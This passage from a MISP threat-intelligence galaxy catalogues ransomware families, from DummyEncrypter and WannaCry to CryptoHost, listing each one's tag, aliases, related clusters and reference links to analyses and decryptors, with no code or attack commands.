The tag is: misp-galaxy:ransomware="DummyEncrypter Ransomware"

Table 3666. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html

Encryptss77 Ransomware

The tag is: misp-galaxy:ransomware="Encryptss77 Ransomware"

Encryptss77 Ransomware is also known as:

SFX Monster Ransomware

Table 3667. Table References
Links
http://virusinfo.info/showthread.php?t=201710
https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html

WinRarer Ransomware

The tag is: misp-galaxy:ransomware="WinRarer Ransomware"

Table 3668. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html

Russian Globe Ransomware

The tag is: misp-galaxy:ransomware="Russian Globe Ransomware"

Table 3669. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html

ZeroCrypt Ransomware

The tag is: misp-galaxy:ransomware="ZeroCrypt Ransomware"

Table 3670. Table References
Links
https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html

RotorCrypt(RotoCrypt, Tar) Ransomware

The tag is: misp-galaxy:ransomware="RotorCrypt(RotoCrypt, Tar) Ransomware"

RotorCrypt(RotoCrypt, Tar) Ransomware is also known as:

RotorCrypt
RotoCrypt
Tar Ransomware

Table 3671. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1050117756094476289

Ishtar Ransomware

The tag is: misp-galaxy:ransomware="Ishtar Ransomware"

Table 3672. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html

MasterBuster Ransomware

The tag is: misp-galaxy:ransomware="MasterBuster Ransomware"

Table 3673. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html
https://twitter.com/struppigel/status/791943837874651136

JackPot Ransomware

The tag is: misp-galaxy:ransomware="JackPot Ransomware"

JackPot Ransomware is also known as:

Jack.Pot Ransomware

Table 3674. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/jackpot-ransomware.html
https://twitter.com/struppigel/status/791639214152617985
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

ONYX Ransomeware

The tag is: misp-galaxy:ransomware="ONYX Ransomeware"

Table 3675. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html
https://twitter.com/struppigel/status/791557636164558848
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

IFN643 Ransomware

The tag is: misp-galaxy:ransomware="IFN643 Ransomware"

Table 3676. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html
https://twitter.com/struppigel/status/791576159960072192
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

Alcatraz Locker Ransomware

The tag is: misp-galaxy:ransomware="Alcatraz Locker Ransomware"

Table 3677. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://twitter.com/PolarToffee/status/792796055020642304

Esmeralda Ransomware

The tag is: misp-galaxy:ransomware="Esmeralda Ransomware"

Table 3678. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html
https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/

EncrypTile Ransomware

The tag is: misp-galaxy:ransomware="EncrypTile Ransomware"

Table 3679. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html

Fileice Ransomware Survey Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG

The tag is: misp-galaxy:ransomware="Fileice Ransomware Survey Ransomware"

Table 3680. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

CryptoWire Ransomeware

The tag is: misp-galaxy:ransomware="CryptoWire Ransomeware"

Table 3681. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html
https://twitter.com/struppigel/status/791554654664552448
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

Hucky Ransomware

The tag is: misp-galaxy:ransomware="Hucky Ransomware"

Hucky Ransomware is also known as:

Hungarian Locky Ransomware

Table 3682. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html
https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe
https://twitter.com/struppigel/status/846241982347427840

Winnix Cryptor Ransomware

The tag is: misp-galaxy:ransomware="Winnix Cryptor Ransomware"

Table 3683. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html
https://twitter.com/PolarToffee/status/811940037638111232

AngryDuck Ransomware

The tag is: misp-galaxy:ransomware="AngryDuck Ransomware"

Table 3684. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html
https://twitter.com/demonslay335/status/790334746488365057

Lock93 Ransomware

The tag is: misp-galaxy:ransomware="Lock93 Ransomware"

Table 3685. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html
https://twitter.com/malwrhunterteam/status/789882488365678592

ASN1 Encoder Ransomware

The tag is: misp-galaxy:ransomware="ASN1 Encoder Ransomware"

Table 3686. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html
https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/

Click Me Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif

The tag is: misp-galaxy:ransomware="Click Me Ransomware"

Table 3687. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html
https://www.youtube.com/watch?v=Xe30kV4ip8w

AiraCrop Ransomware

The tag is: misp-galaxy:ransomware="AiraCrop Ransomware"

Table 3688. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

JapanLocker Ransomware

The tag is: misp-galaxy:ransomware="JapanLocker Ransomware"

JapanLocker Ransomware is also known as:

SHC Ransomware
SHCLocker
SyNcryption

Table 3689. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/japanlocker-ransomware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/japanlocker
https://github.com/fortiguard-lion/schRansomwareDecryptor/blob/master/schRansomwarev1_decryptor.php
https://blog.fortinet.com/2016/10/19/japanlocker-an-excavation-to-its-indonesian-roots

Anubis Ransomware

The tag is: misp-galaxy:ransomware="Anubis Ransomware"

Table 3690. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html
http://nyxbone.com/malware/Anubis.html

XTPLocker 5.0 Ransomware

The tag is: misp-galaxy:ransomware="XTPLocker 5.0 Ransomware"

Table 3691. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html

Exotic Ransomware

The tag is: misp-galaxy:ransomware="Exotic Ransomware"

Table 3692. Table References
Links
https://www.bleepingcomputer.com/news/security/eviltwins-exotic-ransomware-targets-executable-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware
https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html

APT Ransomware v.2

The tag is: misp-galaxy:ransomware="APT Ransomware v.2"

Table 3693. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html

Windows_Security Ransonware

The tag is: misp-galaxy:ransomware="Windows_Security Ransonware"

Windows_Security Ransonware is also known as:

WS Go Ransonware
Trojan.Encoder.6491

Windows_Security Ransonware has relationships with:

similar: misp-galaxy:ransomware="Encoder.xxxx" with estimative-language:likelihood-probability="likely"

Table 3694. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransonware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2

NCrypt Ransomware

The tag is: misp-galaxy:ransomware="NCrypt Ransomware"

Table 3695. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html

Venis Ransomware

The tag is: misp-galaxy:ransomware="Venis Ransomware"

Table 3696. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html
https://twitter.com/Antelox/status/785849412635521024
http://pastebin.com/HuK99Xmj

Enigma 2 Ransomware

The tag is: misp-galaxy:ransomware="Enigma 2 Ransomware"

Table 3697. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html

Deadly Ransomware

The tag is: misp-galaxy:ransomware="Deadly Ransomware"

Deadly Ransomware is also known as:

Deadly for a Good Purpose Ransomware

Table 3698. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/deadly-ransomware.html
https://twitter.com/malwrhunterteam/status/785533373007728640

Comrade Circle Ransomware

The tag is: misp-galaxy:ransomware="Comrade Circle Ransomware"

Table 3699. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html

Globe2 Ransomware

The tag is: misp-galaxy:ransomware="Globe2 Ransomware"

Globe2 Ransomware is also known as:

Purge Ransomware

Globe2 Ransomware has relationships with:

similar: misp-galaxy:ransomware="Globe3 Ransomware" with estimative-language:likelihood-probability="likely"

Table 3700. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221

Kostya Ransomware

The tag is: misp-galaxy:ransomware="Kostya Ransomware"

Table 3701. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/

Fs0ciety Locker Ransomware

The tag is: misp-galaxy:ransomware="Fs0ciety Locker Ransomware"

Table 3702. Table References
Links
https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.html

Erebus Ransomware

The tag is: misp-galaxy:ransomware="Erebus Ransomware"

Table 3703. Table References
Links
https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html

WannaCry

According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.

The tag is: misp-galaxy:ransomware="WannaCry"

WannaCry is also known as:

WannaCrypt
WannaCry
WanaCrypt0r
WCrypt
WCRY

WannaCry has relationships with:

similar: misp-galaxy:malpedia="WannaCryptor" with estimative-language:likelihood-probability="likely"

Table 3704. Table References
Links
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168

.CryptoHasYou.

Ransomware

The tag is: misp-galaxy:ransomware=".CryptoHasYou."

Table 3705. Table References
Links
http://www.nyxbone.com/malware/CryptoHasYou.html

777

Ransomware

The tag is: misp-galaxy:ransomware="777"

777 is also known as:

Sevleg

Table 3706. Table References
Links
https://decrypter.emsisoft.com/777

7ev3n

Ransomware

The tag is: misp-galaxy:ransomware="7ev3n"

7ev3n is also known as:

7ev3n-HONE$T

7ev3n has relationships with:

similar: misp-galaxy:malpedia="7ev3n" with estimative-language:likelihood-probability="likely"

Table 3707. Table References
Links
https://github.com/hasherezade/malware_analysis/tree/master/7ev3n
https://www.youtube.com/watch?v=RDNbH5HDO1E&feature=youtu.be
http://www.nyxbone.com/malware/7ev3n-HONE$T.html

8lock8

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="8lock8"

Table 3708. Table References
Links
http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/

AiraCrop

Ransomware related to TeamXRat

The tag is: misp-galaxy:ransomware="AiraCrop"

Table 3709. Table References
Links
https://twitter.com/PolarToffee/status/796079699478900736

Al-Namrood

Ransomware

The tag is: misp-galaxy:ransomware="Al-Namrood"

Table 3710. Table References
Links
https://decrypter.emsisoft.com/al-namrood

ALFA Ransomware

Ransomware Made by creators of Cerber

The tag is: misp-galaxy:ransomware="ALFA Ransomware"

Table 3711. Table References
Links
http://www.bleepingcomputer.com/news/security/new-alfa-or-alpha-ransomware-from-the-same-devs-as-cerber/
https://news.softpedia.com/news/cerber-devs-create-new-ransomware-called-alfa-506165.shtml

Alma Ransomware

Ransomware

The tag is: misp-galaxy:ransomware="Alma Ransomware"

Table 3712. Table References
Links
https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-4721-ad00-8308fff353b3&placement_guid=22f2fe97-c748-4d6a-9e1e-ba3fb1060abe&portal_id=326665&redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7CgMDLit5GTHcW9N0ztpnIE-ZReqqv8MDj687_4Joou7Cd2rSx8-De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-wRZ0QVWIIkM&hsutk=34612af1cd87864cf7162095872571d1&utm_referrer=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&;hstc=61627571.34612af1cd87864cf7162095872571d1.1472135921345.1472140656779.1472593507113.3&hssc=61627571.1.1472593507113&hsfp=1114323283[https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-4721-ad00-8308fff353b3&placement_guid=22f2fe97-c748-4d6a-9e1e-ba3fb1060abe&portal_id=326665&redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7CgMDLit5GTHcW9N0ztpnIE-ZReqqv8MDj687_4Joou7Cd2rSx8-De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-wRZ0QVWIIkM&hsutk=34612af1cd87864cf7162095872571d1&utm_referrer=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&;hstc=61627571.34612af1cd87864cf7162095872571d1.1472135921345.1472140656779.1472593507113.3&hssc=61627571.1.1472593507113&hsfp=1114323283]
https://info.phishlabs.com/blog/alma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter
http://www.bleepingcomputer.com/news/security/new-alma-locker-ransomware-being-distributed-via-the-rig-exploit-kit/

Alpha Ransomware

Ransomware

The tag is: misp-galaxy:ransomware="Alpha Ransomware"

Alpha Ransomware is also known as:

AlphaLocker

Alpha Ransomware has relationships with:

similar: misp-galaxy:malpedia="AlphaLocker" with estimative-language:likelihood-probability="likely"

Table 3713. Table References
Links
http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip
http://www.bleepingcomputer.com/news/security/decrypted-alpha-ransomware-continues-the-trend-of-accepting-amazon-cards/
https://twitter.com/malwarebread/status/804714048499621888

AMBA

Ransomware Websites only amba@riseup.net

The tag is: misp-galaxy:ransomware="AMBA"

Table 3714. Table References
Links
https://twitter.com/benkow_/status/747813034006020096
https://www.enigmasoftware.com/ambaransomware-removal/

AngleWare

Ransomware

The tag is: misp-galaxy:ransomware="AngleWare"

Table 3715. Table References
Links
https://twitter.com/BleepinComputer/status/844531418474708993

Anony

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="Anony"

Anony is also known as:

ngocanh

Table 3716. Table References
Links
https://twitter.com/struppigel/status/842047409446387714

Apocalypse

Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru

The tag is: misp-galaxy:ransomware="Apocalypse"

Apocalypse is also known as:

Fabiansomeware

Apocalypse has relationships with:

similar: misp-galaxy:rat="Apocalypse" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 3717. Table References
Links
https://decrypter.emsisoft.com/apocalypse
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

ApocalypseVM

Ransomware Apocalypse ransomware version which uses VMprotect

The tag is: misp-galaxy:ransomware="ApocalypseVM"

Table 3718. Table References
Links
http://decrypter.emsisoft.com/download/apocalypsevm

AutoLocky

Ransomware

The tag is: misp-galaxy:ransomware="AutoLocky"

Table 3719. Table References
Links
https://decrypter.emsisoft.com/autolocky

Aw3s0m3Sc0t7

Ransomware

The tag is: misp-galaxy:ransomware="Aw3s0m3Sc0t7"

Table 3720. Table References
Links
https://twitter.com/struppigel/status/828902907668000770

BadBlock

Ransomware

The tag is: misp-galaxy:ransomware="BadBlock"

Table 3721. Table References
Links
https://decrypter.emsisoft.com/badblock
http://www.nyxbone.com/malware/BadBlock.html
http://www.nyxbone.com/images/articulos/malware/badblock/5.png

BaksoCrypt

Ransomware Based on my-Little-Ransomware

The tag is: misp-galaxy:ransomware="BaksoCrypt"

Table 3722. Table References
Links
https://twitter.com/JakubKroustek/status/760482299007922176
https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/

Bandarchor

Ransomware Files might be partially encrypted

The tag is: misp-galaxy:ransomware="Bandarchor"

Bandarchor is also known as:

Rakhni

Bandarchor has relationships with:

similar: misp-galaxy:ransomware="Rakhni" with estimative-language:likelihood-probability="likely"

Table 3723. Table References
Links
https://reaqta.com/2016/03/bandarchor-ransomware-still-active/
https://www.bleepingcomputer.com/news/security/new-bandarchor-ransomware-variant-spreads-via-malvertising-on-adult-sites/

Bart

Ransomware Possible affiliations with RockLoader, Locky and Dridex

The tag is: misp-galaxy:ransomware="Bart"

Bart is also known as:

BaCrypt

Bart has relationships with:

similar: misp-galaxy:malpedia="Bart" with estimative-language:likelihood-probability="likely"

Table 3724. Table References
Links
http://now.avg.com/barts-shenanigans-are-no-match-for-avg/
http://phishme.com/rockloader-downloading-new-ransomware-bart/
https://www.proofpoint.com/us/threat-insight/post/New-Bart-Ransomware-from-Threat-Actors-Spreading-Dridex-and-Locky

BitCryptor

Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.

The tag is: misp-galaxy:ransomware="BitCryptor"

Table 3725. Table References
Links
https://noransom.kaspersky.com/
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html

BitStak

Ransomware

The tag is: misp-galaxy:ransomware="BitStak"

Table 3726. Table References
Links
https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip
https://id-ransomware.blogspot.com/2016/07/ransomware-007867.html

BlackShades Crypter

Ransomware

The tag is: misp-galaxy:ransomware="BlackShades Crypter"

BlackShades Crypter is also known as:

SilentShade

Table 3727. Table References
Links
http://nyxbone.com/malware/BlackShades.html
https://id-ransomware.blogspot.com/2016/06/silentshade-ransomware-blackshades.html

Blocatto

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="Blocatto"

Table 3728. Table References
Links
http://www.bleepingcomputer.com/forums/t/614456/bloccato-ransomware-bloccato-help-support-leggi-questo-filetxt/

Booyah

Ransomware EXE was replaced to neutralize threat

The tag is: misp-galaxy:ransomware="Booyah"

Booyah is also known as:

Salami

Booyah has relationships with:

similar: misp-galaxy:ransomware="MM Locker" with estimative-language:likelihood-probability="likely"

Brazilian

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="Brazilian"

Table 3729. Table References
Links
http://www.nyxbone.com/malware/brazilianRansom.html
http://www.nyxbone.com/images/articulos/malware/brazilianRansom/0.png

Brazilian Globe

Ransomware

The tag is: misp-galaxy:ransomware="Brazilian Globe"

Table 3730. Table References
Links
https://twitter.com/JakubKroustek/status/821831437884211201

BrLock

Ransomware

The tag is: misp-galaxy:ransomware="BrLock"

Table 3731. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered

Browlock

Ransomware no local encryption, browser only

The tag is: misp-galaxy:ransomware="Browlock"

BTCWare Related to / new version of CryptXXX

Ransomware

The tag is: misp-galaxy:ransomware="BTCWare Related to / new version of CryptXXX"

Table 3732. Table References
Links
https://twitter.com/malwrhunterteam/status/845199679340011520

Bucbi

Ransomware no file name change, no extension

The tag is: misp-galaxy:ransomware="Bucbi"

Table 3733. Table References
Links
http://researchcenter.paloaltonetworks.com/2016/05/unit42-bucbi-ransomware-is-back-with-a-ukrainian-makeover/
https://id-ransomware.blogspot.com/2016/05/bucbi-ransomware.html

BuyUnlockCode

Ransomware Does not delete Shadow Copies

The tag is: misp-galaxy:ransomware="BuyUnlockCode"

Table 3734. Table References
Links
https://id-ransomware.blogspot.com/2016/05/buyunlockcode-ransomware-rsa-1024.html

Central Security Treatment Organization

Ransomware

The tag is: misp-galaxy:ransomware="Central Security Treatment Organization"

Central Security Treatment Organization has relationships with:

similar: misp-galaxy:ransomware="CryLocker" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 3735. Table References
Links
http://www.bleepingcomputer.com/forums/t/625820/central-security-treatment-organization-ransomware-help-topic-cry-extension/
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html

Cerber

Ransomware

The tag is: misp-galaxy:ransomware="Cerber"

Cerber is also known as:

CRBR ENCRYPTOR

Cerber has relationships with:

similar: misp-galaxy:malpedia="Cerber" with estimative-language:likelihood-probability="likely"

Table 3736. Table References
Links
https://blog.malwarebytes.org/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
https://community.rsa.com/community/products/netwitness/blog/2016/11/04/the-evolution-of-cerber-v410
https://www.bleepingcomputer.com/news/security/cerber-renames-itself-as-crbr-encryptor-to-be-a-pita/

Chimera

Ransomware

The tag is: misp-galaxy:ransomware="Chimera"

Table 3737. Table References
Links
http://www.bleepingcomputer.com/news/security/chimera-ransomware-decryption-keys-released-by-petya-devs/
https://blog.malwarebytes.org/threat-analysis/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild/

Clock

Ransomware Does not encrypt anything

The tag is: misp-galaxy:ransomware="Clock"

Table 3738. Table References
Links
https://twitter.com/JakubKroustek/status/794956809866018816

CoinVault

Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!

The tag is: misp-galaxy:ransomware="CoinVault"

Table 3739. Table References
Links
https://noransom.kaspersky.com/
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html

Coverton

Ransomware

The tag is: misp-galaxy:ransomware="Coverton"

Table 3740. Table References
Links
http://www.bleepingcomputer.com/news/security/paying-the-coverton-ransomware-may-not-get-your-data-back/
https://id-ransomware.blogspot.com/2016/04/coverton-ransomware.html

Cryaki

Ransomware

The tag is: misp-galaxy:ransomware="Cryaki"

Table 3741. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547

Crybola

Ransomware

The tag is: misp-galaxy:ransomware="Crybola"

Table 3742. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547

CryFile

Ransomware

The tag is: misp-galaxy:ransomware="CryFile"

Table 3743. Table References
Links
SHTODELATVAM.txt[SHTODELATVAM.txt]
Instructionaga.txt[Instructionaga.txt]
https://id-ransomware.blogspot.com/2016/06/cryfile-ransomware-100.html

CryLocker

Ransomware Identifies victim locations w/Google Maps API

The tag is: misp-galaxy:ransomware="CryLocker"

CryLocker is also known as:

Cry
CSTO
Central Security Treatment Organization

CryLocker has relationships with:

similar: misp-galaxy:ransomware="Central Security Treatment Organization" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"

Table 3744. Table References
Links
http://www.bleepingcomputer.com/news/security/the-crylocker-ransomware-communicates-using-udp-and-stores-data-on-imgur-com/
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html

CrypMIC

Ransomware CryptXXX clone/spinoff

The tag is: misp-galaxy:ransomware="CrypMIC"

Table 3745. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/
https://id-ransomware.blogspot.com/2016/07/crypmic-ransomware-aes-256.html

Crypren

Ransomware

The tag is: misp-galaxy:ransomware="Crypren"

Table 3746. Table References
Links
https://github.com/pekeinfo/DecryptCrypren
http://www.nyxbone.com/malware/Crypren.html
http://www.nyxbone.com/images/articulos/malware/crypren/0.png

Crypt38

Ransomware

The tag is: misp-galaxy:ransomware="Crypt38"

Table 3747. Table References
Links
https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip
https://blog.fortinet.com/2016/06/17/buggy-russian-ransomware-inadvertently-allows-free-decryption
https://id-ransomware.blogspot.com/2016/06/regist-crypt38-ransomware-aes-1000-15.html

Crypter

Ransomware Does not actually encrypt the files, but simply renames them

The tag is: misp-galaxy:ransomware="Crypter"

Table 3748. Table References
Links
https://twitter.com/jiriatvirlab/status/802554159564062722

CryptFIle2

Ransomware

The tag is: misp-galaxy:ransomware="CryptFIle2"

Table 3749. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html

CryptInfinite

Ransomware

The tag is: misp-galaxy:ransomware="CryptInfinite"

Table 3750. Table References
Links
https://decrypter.emsisoft.com/
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html

CryptoBit

Ransomware sekretzbel0ngt0us.KEY - do not confuse with CryptorBit.

The tag is: misp-galaxy:ransomware="CryptoBit"

CryptoBit has relationships with:

similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

Table 3751. Table References
Links
http://www.pandasecurity.com/mediacenter/panda-security/cryptobit/
http://news.softpedia.com/news/new-cryptobit-ransomware-could-be-decryptable-503239.shtml
https://id-ransomware.blogspot.com/2016/04/cryptobit-ransomware.html

CryptoDefense

Ransomware no extension change

The tag is: misp-galaxy:ransomware="CryptoDefense"

Table 3752. Table References
Links
https://decrypter.emsisoft.com/
https://id-ransomware.blogspot.com/2016/04/cryptodefense-ransomware.html

CryptoFinancial

Ransomware

The tag is: misp-galaxy:ransomware="CryptoFinancial"

CryptoFinancial is also known as:

Ranscam

CryptoFinancial has relationships with:

similar: misp-galaxy:malpedia="Ranscam" with estimative-language:likelihood-probability="likely"

Table 3753. Table References
Links
http://blog.talosintel.com/2016/07/ranscam.html
https://nakedsecurity.sophos.com/2016/07/13/ransomware-that-demands-money-and-gives-you-back-nothing/
https://id-ransomware.blogspot.com/search?q=CryptoFinancial

CryptoFortress

Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB

The tag is: misp-galaxy:ransomware="CryptoFortress"

CryptoFortress has relationships with:

similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 3754. Table References
Links
https://id-ransomware.blogspot.com/2016/05/cryptofortress-ransomware-aes-256-1.html

CryptoGraphic Locker

Ransomware Has a GUI. Subvariants: CoinVault BitCryptor

The tag is: misp-galaxy:ransomware="CryptoGraphic Locker"

CryptoHost

Ransomware RAR’s victim’s files has a GUI

The tag is: misp-galaxy:ransomware="CryptoHost"

CryptoHost is also known as:

Manamecrypt
Telograph
ROI Locker

CryptoHost has relationships with:

